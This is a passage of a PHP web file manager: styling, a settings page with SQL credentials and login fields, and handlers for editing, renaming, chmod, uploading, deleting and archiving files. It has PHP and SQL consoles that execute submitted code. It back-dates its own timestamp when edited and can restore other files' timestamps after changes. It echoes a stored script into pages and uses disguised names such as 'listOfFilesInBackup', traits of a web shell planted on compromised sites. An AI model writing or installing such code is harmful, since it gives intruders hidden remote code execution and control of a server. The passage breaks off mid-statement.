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");
}


.file {
                       background-image: url("data:image/png;base64,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");

}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}

@media screen and (max-width:720px){

  table{display:block;}
                       #fm_table td{display:inline;float:left;}
                       #fm_table tbody td:first-child{width:100%;padding:0;}
                       #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
                       #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
                       #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}
}
</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {

	echo ' 
<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'



'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'



'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>




<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_logs['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_logs['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_logs['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_logs['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_logs['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_logs['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	
?>
<table class="whole">

<tr>
                       <th><?=__('File manager').' - '.$path_codes?></th>

</tr>
<tr>

                       <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>
</tr>
<tr>
                       <td class="row1">

                            <a href="<?=$url_inc.'&path=' . $path_codes;?>"><?=__('Back')?></a>
                            <form action="" method="POST" name="console">
                            <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
                            <input type="reset" value="<?=__('Reset')?>">
                            <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php

$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){
                            $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>

                            </form>
	</td>

</tr>

</table>

<?php
	if (!empty($res)) {
                            $fun='fm_'.$res_lng;
                            echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {
                            $fn = $path_codes . $_REQUEST['edit'];

                            $filemtime = filemtime($fn);

	                       if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
                            else $msg .= __('Error occurred');
                            if ($_GET['edit']==basename(__FILE__)) {
                            	touch(__FILE__,1415116371);


                            } else {

                            	if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);

                            }

	}
                       $oldcontent = @file_get_contents($path_codes . $_REQUEST['edit']);

                       $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path_codes;
                       $backlink = $url_inc . '&path=' . $path_codes;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>
                       <th><?=__('File manager').' - '.__('Edit').' - '.$path_codes.$_REQUEST['edit']?></th>
</tr>

<tr>

                       <td class="row1">

                                              <?=$msg?>
	</td>
</tr>
<tr>
                       <td class="row1">
                                              <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>

</tr>
<tr>

                       <td class="row1" align="center">

                                              <form name="form1" method="post" action="<?=$editlink?>">

                                                                     <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
                                                                     <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                     <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                              </form>
                       </td>
</tr>

</table>

<?php
echo $auth_logs['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	                       if(fm_chmod($path_codes . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
                            $msg .= (__('File updated')); 

                            else $msg .= (__('Error occurred'));

	}

	clearstatcache();

                       $oldrights = fm_rights_string($path_codes . $_REQUEST['rights'], true);
                       $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path_codes;
                       $backlink = $url_inc . '&path=' . $path_codes;
?>

<table class="whole">
<tr>
                       <th><?=__('File manager').' - '.$path_codes?></th>

</tr>

<tr>
                       <td class="row1">

                                              <?=$msg?>
	</td>
</tr>
<tr>
                       <td class="row1">
                                              <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>
</tr>
<tr>
                       <td class="row1" align="center">
                                              <form name="form1" method="post" action="<?=$link?>">

                                                 <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
                                              <?php if (is_dir($path_codes.$_REQUEST['rights'])) { ?>

                                                                     <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                              <?php } ?>
                                                                     <input type="submit" name="save" value="<?=__('Submit')?>">

                                              </form>

                       </td>

</tr>

</table>
<?php

} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {

	                       rename($path_codes . $_REQUEST['rename'], $path_codes . $_REQUEST['newname']);
                            $msg .= (__('File updated'));

                            $_REQUEST['rename'] = $_REQUEST['newname'];
	}

	clearstatcache();
                       $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path_codes;
                       $backlink = $url_inc . '&path=' . $path_codes;


?>

<table class="whole">

<tr>

                       <th><?=__('File manager').' - '.$path_codes?></th>
</tr>
<tr>

                       <td class="row1">
                                              <?=$msg?>

	</td>

</tr>
<tr>
                       <td class="row1">

                                              <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>

</tr>
<tr>
                       <td class="row1" align="center">

                                              <form name="form1" method="post" action="<?=$link?>">

                                                                     <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                     <input type="submit" name="save" value="<?=__('Submit')?>">

                                              </form>

                       </td>
</tr>

</table>

<?php
} else {

//Let's rock!

                       $msg = '';

                       if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

                                              if(!empty($_FILES['upload']['name'])){

                                                                     $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                     if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path_codes . $_FILES['upload']['name'])){

                                                                                            $msg .= __('Error occurred');

                                                                     } else {
                                                           $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
                            	}

                                              }
                       } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                              if(!fm_del_listOfFilesInBackup(($path_codes . $_REQUEST['delete']), true)) {

                                                                     $msg .= __('Error occurred');

                                              } else {
                            	$msg .= __('Deleted').' '.$_REQUEST['delete'];
                            }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {

                                              if(!@mkdir($path_codes . $_REQUEST['dirname'],0777)) {

                                                                     $msg .= __('Error occurred');
                                              } else {

                            	$msg .= __('Created').' '.$_REQUEST['dirname'];
                            }

                       } elseif(!empty($_POST['search_recursive'])) {
                            ini_set('max_execution_time', '0');
                            $search_data =  find_text_in_listOfFilesInBackup($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

                            if(!empty($search_data)) {

                            	$msg .= __('Found in listOfFilesInBackup').' ('.count($search_data).'):<br>';
                            	foreach ($search_data as $filename) {

                                                           $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                            	}

                            } else {
                            	$msg .= __('Nothing founded');

                            }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

                                              if(!$fp=@fopen($path_codes . $_REQUEST['filename'],"w")) {

                                                                     $msg .= __('Error occurred');
                                              } else {

                            	fclose($fp);
                            	$msg .= __('Created').' '.$_REQUEST['filename'];

                            }
                       } elseif (isset($_GET['zip'])) {

                            $source = base64_decode($_GET['zip']);

                            $destination = basename($source).'.zip';
                            set_time_limit(0);
                            $phar = new PharData($destination);

                            $phar->buildFromDirectory($source);

                            if (is_file($destination))
                            $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                            '.&nbsp;'.fm_link('download',$path_codes.$destination,__('Download'),__('Download').' '. $destination)
                            .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path_codes.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

                            else $msg .= __('Error occurred').': '.__('no listOfFilesInBackup');
	} elseif (isset($_GET['gz'])) {
                            $source = base64_decode($_GET['gz']);

                            $archive = $source.'.tar';
                            $destination = basename($source).'.tar';

                            if (is_file($archive)) unlink($archive);
                            if (is_file($archive.'.gz')) unlink($archive.'.gz');

                            clearstatcache();

                            set_time_limit(0);

                            //die();
                            $phar = new PharData($destination);

                            $phar->buildFromDirectory($source);
                            $phar->compress(Phar::GZ,'.tar.gz');

                            unset($phar);
                            if (is_file($archive)) {

                            	if (is_file($archive.'.gz')) {
                                                           unlink($archive); 
                                                           $destination .= '.gz';

                            	}

                            	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                            	'.&nbsp;'.fm_link('download',$path_codes.$destination,__('Download'),__('Download').' '. $destination)
                            	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path_codes.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
                            } else $msg .= __('Error occurred').': '.__('no listOfFilesInBackup');
	} elseif (isset($_GET['decompress'])) {
                            // $source = base64_decode($_GET['decompress']);

                            // $destination = basename($source);
                            // $ext = end(explode(".", $destination));

                            // if ($ext=='zip' OR $ext=='gz') {
                            	// $phar = new PharData($source);
                            	// $phar->decompress();
                            	// $base_file = str_replace('.'.$ext,'',$destination);
                            	// $ext = end(explode(".", $base_file));
                            	// if ($ext=='tar'){

                                                           // $phar = new PharData($base_file);
                                                           // $phar->extractTo(dir($source));
                            	// }

                            // } 
                            // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {

                            $source = base64_decode($_GET['gzfile']);

                            $archive = $source.'.tar';
                            $destination = basename($source).'.tar';
                            if (is_file($archive)) unlink($archive);
                            if (is_file($archive.'.gz')) unlink($archive.'.gz');
                            set_time_limit(0);

                            //echo $destination;

                            $ext_arr = explode('.',basename($source));
                            if (isset($ext_arr[1])) {
                            	unset($ext_arr[0]);
                            	$ext=implode('.',$ext_arr);

                            } 

                            $phar = new PharData($destination);

                            $phar->addFile($source);
                            $phar->compress(Phar::GZ,$ext.'.tar.gz');

                            unset($phar);
                            if (is_file($archive)) {
                            	if (is_file($archive.'.gz')) {
                                                           unlink($archive); 
                                                           $destination .= '.gz';
                            	}
                            	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
